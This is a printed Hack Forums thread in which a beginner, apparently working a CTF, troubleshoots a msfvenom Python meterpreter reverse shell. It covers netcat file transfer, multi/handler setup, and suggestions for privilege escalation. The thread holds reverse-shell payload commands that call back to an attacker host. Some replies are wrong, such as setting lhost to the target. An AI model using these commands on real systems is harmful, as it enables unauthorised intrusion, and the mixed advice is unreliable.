Gaining root through reverse shell and meterpreter?

Gaining root through reverse shell and meterpreter? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Gaining root through reverse shell and meterpreter? (/showthread.php?tid=5763763)

Pages: Pages 1 2

Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

I'm currently trying to complete a ctf, and trying to gain root on the target linux system from my kali box. I'm also logged on as a user on the target system as well.

What I was trying to accomplish was execute a reverse shell then upgrade to meterpreter to gain root on the target system, but whenever I try to execute my payload on the target system, nothing happens.

Here's a general walkthrough of what I've done so far:

On Kali i've created a payload using msfvenom

Code 
msfvenom -p python/meterpreter/reverse_tcp -f raw lhost=<kali box> lport=4050 > payload.py

I then move it to the target box using netcat.

Kali

Code 
nc -l 7001 < payload.py

Target

Code 
nc <kali box> 7001 > payload.py

Then I fire up msfconsole and issue necessary commands,

use exploit/multi/handler, use payload python/meterpreter/reverse_tcp, set lhost <kali box>, and set lport 4050

then i issue the exploit command and it begins to listen.
I then go over to the target box, and try to execute the payload by issuing python payload.py but nothing happens on the Kali box.

Any ideas on what I did wrong or assistance would be great, thanks!

RE: Gaining root through reverse shell and meterpreter? - /wrists - Dec 6, 2017

so the problem you're having is that you're telling the kali box to connect to itself here

Code 
lhost=<kali box>

don't do that

use ifconfig to find out the machine's ip and put that there i.e. 192.168.x.x

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 11:57 AM)/wrists Wrote: so the problem you're having is that you're telling the kali box to connect to itself here

Code
lhost=<kali box>

don't do that

That makes sense, when it says LHOST it kind of confused me because all the guides I've read used the attacking box IP instead of the target box IP.

RE: Gaining root through reverse shell and meterpreter? - /wrists - Dec 6, 2017

Let me know how it goes! Good luck with your CTF!

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 12:01 PM)/wrists Wrote: Let me know how it goes! Good luck with your CTF!

Thanks! So, I created another python payload, using my target IP and set the port to 4010.

Then transferred the python to my target linux box using netcat.

In msfconsole, used the exploit/multi/handler, then used the newly created python/meterpreter/reverse_tcp payload, set LHOST to target IP and LPORT to 4010. Finally initiated the exploit. Then I get

Handler failed to bind to <target IP>4010

Started reverse TCP handler on 0.0.0.0:4010

Starting the payload handler..

I tried executing the python on the target IP, but nothing happens once again.

I already completed it by booting to root, but apparently that's against the "rules" 😯

RE: Gaining root through reverse shell and meterpreter? - /wrists - Dec 6, 2017

Did you correctly port forward? or set your LHOST to 0.0.0.0

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 12:11 PM)/wrists Wrote: Did you correctly port forward? or set your LHOST to 0.0.0.0

I'm not sure about port forwarding, but I set my LHOST to the target box (192.168.138.136).

RE: Gaining root through reverse shell and meterpreter? - /wrists - Dec 6, 2017

Try one and then the other. See if u can see the port on canyouseeme

RE: Gaining root through reverse shell and meterpreter? - CyberStrike - Dec 6, 2017

hmm you're not using the same port as the other connection are you? Second are you getting any errors when it runs? Are you also able to run the file access wise, you have to correct permissions? You are actually able to enumerate the environment just using your current session. and be able to find something exploitable just from that session. Check if say id command works if not and you get no output it maybe a restrictive shell.

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 12:21 PM)sirru5h Wrote: hmm you're not using the same port as the other connection are you? Second are you getting any errors when it runs? Are you also able to run the file access wise, you have to correct permissions? You are actually able to enumerate the environment just using your current session. and be able to find something exploitable just from that session. Check if say id command works if not and you get no output it maybe a restrictive shell.

Which ports should I be using? When I NMap the target box the open ports are 22, 80, 139, 445, and 8080. Should I be using one of those in my payload?

When I run the python script on the target machine, I get nothing. Just a new line in the terminal. I'm logged in as a regular user, so no administrative privileges at all, and yes the ID command works on the target box.

RE: Gaining root through reverse shell and meterpreter? - CyberStrike - Dec 6, 2017

A reverse connection is going to connect to the attackers machine. Okay so at least you are not in a restrictive bash environment, that is good. If you have the shell in metasploit already you can try a post module to upgrade shell to meterpreter. Why not just try to escalate from that shell, by enumerating the packages installed, services running finding an exploit and getting it to the target machine then compile and run the exploit.

Edit: you can set a payload in the handler for a bind shell and interact with that listener .

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 12:58 PM)sirru5h Wrote: A reverse connection is going to connect to the attackers machine. Okay so at least you are not in a restrictive bash environment, that is good. If you have the shell in metasploit already you can try a post module to upgrade shell to meterpreter. Why not just try to escalate from that shell, by enumerating the packages installed, services running finding an exploit and getting it to the target machine then compile and run the exploit.

Edit: you can set a payload in the handler for a bind shell and interact with that listener .

Yeah, the problem is I don't have shell on metasploit. Whenever I execute the exploit command in metasploit I get this , imgur.com/2wFIMdz

RE: Gaining root through reverse shell and meterpreter? - CyberStrike - Dec 6, 2017

Is port 80 where netcat is listening on the target machine? I saw you using netcat to send files via port 7001, you will basically use metasploit to connect to the netcat listener on that target, keeping the same port and the target IP, also you will use a payload which reflects that you have to connect to that netcat, a bind payload, in the handler.

Basically instead of using netcat you are connecting via metasploit, not meterpreter yet until you upgrade your session, by using that post module I referred to on page 1.

RE: Gaining root through reverse shell and meterpreter? - ph0bolus - Dec 6, 2017

(Dec 6, 2017 01:32 PM)sirru5h Wrote: Is port 80 where netcat is listening on the target machine? I saw you using netcat to send files via port 7001, you will basically use metasploit to connect to the netcat listener on that target, keeping the same port and the target IP, also you will use a payload which reflects that you have to connect to that netcat, a bind payload, in the handler.

Basically instead of using netcat you are connecting via metasploit, not meterpreter yet until you upgrade your session, by using that post module I referred to on page 1.

Ok, so on my target box I need to set up a listener using netcat on whatever port and address I used in the payload I created and set in metasploit?

I just thought once my payload was on the target machine I could just execute it and metasploit would recognize it and connect.

EDIT: I changed my payload port to 4050, set it to 4050 in metasploit on my attacking machine. I set up a netcat listener on port 4050. Ran the exploit and still nothing.

RE: Gaining root through reverse shell and meterpreter? - CyberStrike - Dec 6, 2017

I believe I have confused you. Read this

https://security.stackexchange.com/questions/108715/using-msf-to-connect-to-netcat-listener-and-shell-to-meterperter

Definitions:

Target - Not your machine, but the machine you intend on compromising
payload for handler- examples meterpreter windows/shell_bind_tcp windows/meterpreter/rev_tcp python/meterpreter/rev_tcp .. there are many
Attacker: Your computer/you

Assumptions by me:
1. You already had a listener on the target

Edit: I was thinking that you could (because you can in metasploit) connect to the netcat listener by using the correct handler and the correct "PAYLOAD" from there you use the post module which I mentioned.